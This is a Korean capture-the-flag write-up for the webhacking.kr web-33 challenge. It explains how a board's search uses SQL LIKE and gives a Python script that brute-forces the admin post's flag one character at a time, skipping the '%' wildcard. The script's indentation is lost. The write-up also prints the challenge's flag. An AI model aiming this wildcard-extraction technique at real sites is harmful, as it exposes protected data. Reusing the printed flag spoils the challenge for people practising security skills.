
게시판 같은 형태와 검색을 할 수 있어보인다

guest가 쓴 hi~를 클릭하면 글 내용이 나오고

해당 내용을 검색하면 guest가 쓴 글이 나온다

값의 일부를 입력해도 나오는 것을 보아 like 연산을 하고 있는 것 같다

admin이 쓴 글은 denied되고

flag를 검색했을 때 admin의 글이 뜨는 것으로 보아서 해당 값을 알아내야 할 것 같다
python 코드를 작성해서 아스키코드로 하나씩 비교를 해주기로한다

처음 작성했던 코드는 %를 따로 처리하지 않아서 해당 값처럼 나오고 있었다..
(%는 SQL에서 like연산 시 와일드카드)
50까지 반복하는 건 Search값이 50까지로 제한되어있다
import requests
# 대상 웹 페이지 URL
url = "https://webhacking.kr/challenge/web-33/"
# flag의 시작 부분
flag = "flag{"
# 최대 50글자의 flag 값을 찾기 위한 반복문
for i in range(1, 50):
# ASCII 문자 범위 (32부터 126까지)
for j in range(32, 127):
# '%' 문자를 제외하고 검색 데이터 생성
if chr(j) != '%':
data = {'search': f"{flag}{chr(j)}"}
# 웹 페이지에 POST 요청 보내기
response = requests.post(url, data=data)
# 만약 'admin'이 포함된 게시글을 찾으면
if "admin" in response.text:
# flag에 해당 문자 추가
flag += chr(j)
# 찾은 문자 출력
print("Found character:", chr(j))
break
# 만약 flag가 완성되었다면 반복문 종료
else:
print("Flag found:", flag)
break
# 최종 flag 값 출력
print("Flag:", flag)


HIMIKO_TOGA_IS_CUTE_DONT_YOU_THINK_SO?_ 는 아니고..

HIMIKO_TOGA_IS_CUTE_DONT_YOU_THINK_SO? 가 flag다
마지막 _은 와일드카드라 그런가..? 이유를 모르겠다
728x90